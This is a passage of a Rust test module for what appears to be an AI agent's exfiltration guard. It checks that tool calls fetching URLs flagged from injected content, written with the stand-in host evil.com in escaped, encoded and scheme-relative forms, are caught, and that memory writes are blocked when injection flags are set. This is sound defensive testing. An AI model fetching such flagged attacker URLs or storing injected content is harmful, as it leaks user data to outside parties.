1385 let args = r#"{"url": "https://evil.com/x"}"#;
1386 let events = guard_disabled().validate_tool_call("fetch", args, &flagged);
1387 assert!(events.is_empty());
1388 }
1389
1390 #[test]
1391 fn validate_tool_call_noop_with_empty_flagged() {
1392 let args = r#"{"url": "https://evil.com/x"}"#;
1393 let events = guard().validate_tool_call("fetch", args, &HashSet::new());
1394 assert!(events.is_empty());
1395 }
1396
1397 #[test]
1398 fn extracts_urls_from_nested_json() {
1399 let flagged = build_flagged_set("https://evil.com/deep");
1400 let args = r#"{"nested": {"inner": ["https://evil.com/deep"]}}"#;
1401 let events = guard().validate_tool_call("tool", args, &flagged);
1402 assert_eq!(events.len(), 1);
1403 }
1404
1405 #[test]
1406 fn handles_escaped_slashes_in_json() {
1407 let flagged = build_flagged_set("https://evil.com/path");
1410 let args = r#"{"url": "https:\/\/evil.com\/path"}"#;
1412 let parsed: serde_json::Value = serde_json::from_str(args).unwrap();
1413 assert_eq!(parsed["url"], "https://evil.com/path");
1415 let events = guard().validate_tool_call("fetch", args, &flagged);
1416 assert_eq!(events.len(), 1, "JSON-escaped URL must be caught");
1417 }
1418
1419 #[test]
1422 fn guards_when_injection_flags_set() {
1423 let event = guard().should_guard_memory_write(true);
1424 assert!(event.is_some());
1425 assert_matches!(event.unwrap(), ExfiltrationEvent::MemoryWriteGuarded { .. });
1426 }
1427
1428 #[test]
1429 fn passes_when_no_injection_flags() {
1430 let event = guard().should_guard_memory_write(false);
1431 assert!(event.is_none());
1432 }
1433
1434 #[test]
1435 fn guard_memory_write_noop_when_disabled() {
1436 let event = guard_disabled().should_guard_memory_write(true);
1437 assert!(event.is_none());
1438 }
1439
1440 #[test]
1443 fn percent_decode_roundtrip() {
1444 assert_eq!(
1445 percent_decode_url("https://example.com"),
1446 "https://example.com"
1447 );
1448 assert_eq!(
1449 percent_decode_url("%68ttps://example.com"),
1450 "https://example.com"
1451 );
1452 assert_eq!(percent_decode_url("hello%20world"), "hello world");
1453 }
1454
1455 #[test]
1458 fn extracts_urls_from_plain_text() {
1459 let content = "check https://evil.com/x and https://other.com/y for details";
1460 let urls = extract_flagged_urls(content);
1461 assert!(urls.contains("https://evil.com/x"));
1462 assert!(urls.contains("https://other.com/y"));
1463 }
1464
1465 #[test]
1466 fn extracts_scheme_relative_urls_from_plain_text_raw() {
1467 let content = "check //evil.com/x for details";
1471 let urls = extract_flagged_urls(content);
1472 assert!(urls.contains("//evil.com/x"));
1473 }
1474
1475 #[test]
1476 fn extract_flagged_urls_does_not_collapse_explicit_and_scheme_relative_forms() {
1477 let urls = extract_flagged_urls("https://evil.com/x and //evil.com/x again");
1481 assert_eq!(
1482 urls.len(),
1483 2,
1484 "raw output must keep both forms distinct: {urls:?}"
1485 );
1486 assert!(urls.contains("https://evil.com/x"));
1487 assert!(urls.contains("//evil.com/x"));
1488 }
1489
1490 #[test]
1491 fn build_flagged_set_normalizes_explicit_and_scheme_relative_to_same_entry() {
1492 let urls = build_flagged_set("https://evil.com/x and //evil.com/x again");
1498 assert_eq!(
1499 urls.len(),
1500 1,
1501 "both forms must normalize to the same entry: {urls:?}"
1502 );
1503 assert!(urls.contains("//evil.com/x"));
1504 }
1505
1506 #[test]
1509 fn normalize_url_for_matching_strips_scheme_case_insensitively() {
1510 assert_eq!(
1511 normalize_url_for_matching("https://evil.com/x"),
1512 "//evil.com/x"
1513 );
1514 assert_eq!(
1515 normalize_url_for_matching("HTTPS://evil.com/x"),
1516 "//evil.com/x"
1517 );
1518 assert_eq!(
1519 normalize_url_for_matching("http://evil.com/x"),
1520 "//evil.com/x"
1521 );
1522 assert_eq!(
1523 normalize_url_for_matching("Http://evil.com/x"),
1524 "//evil.com/x"
1525 );
1526 assert_eq!(normalize_url_for_matching("//evil.com/x"), "//evil.com/x");
1527 }
1528
1529 fn nested_array(depth: usize, leaf: &str) -> serde_json::Value {
1533 let mut v = serde_json::json!(leaf);
1534 for _ in 0..depth {
1535 v = serde_json::Value::Array(vec![v]);
1536 }
1537 v
1538 }
1539
1540 #[test]
1541 fn collect_strings_adversarial_scale_does_not_crash() {
1542 let value = nested_array(10_000, "deep");
1546 let mut out = Vec::new();
1547 collect_strings(&value, &mut out, 0);
1548 assert!(out.is_empty());
1549 }
1550
1551 #[test]
1552 fn collect_strings_exact_depth_boundary() {
1553 let just_inside = nested_array(MAX_JSON_DEPTH - 1, "just_inside");
1554 let mut out = Vec::new();
1555 collect_strings(&just_inside, &mut out, 0);
1556 assert_eq!(out, vec!["just_inside"]);
1557
1558 let just_outside = nested_array(MAX_JSON_DEPTH, "just_outside");
1559 let mut out = Vec::new();
1560 collect_strings(&just_outside, &mut out, 0);
1561 assert!(out.is_empty());
1562 }
1563}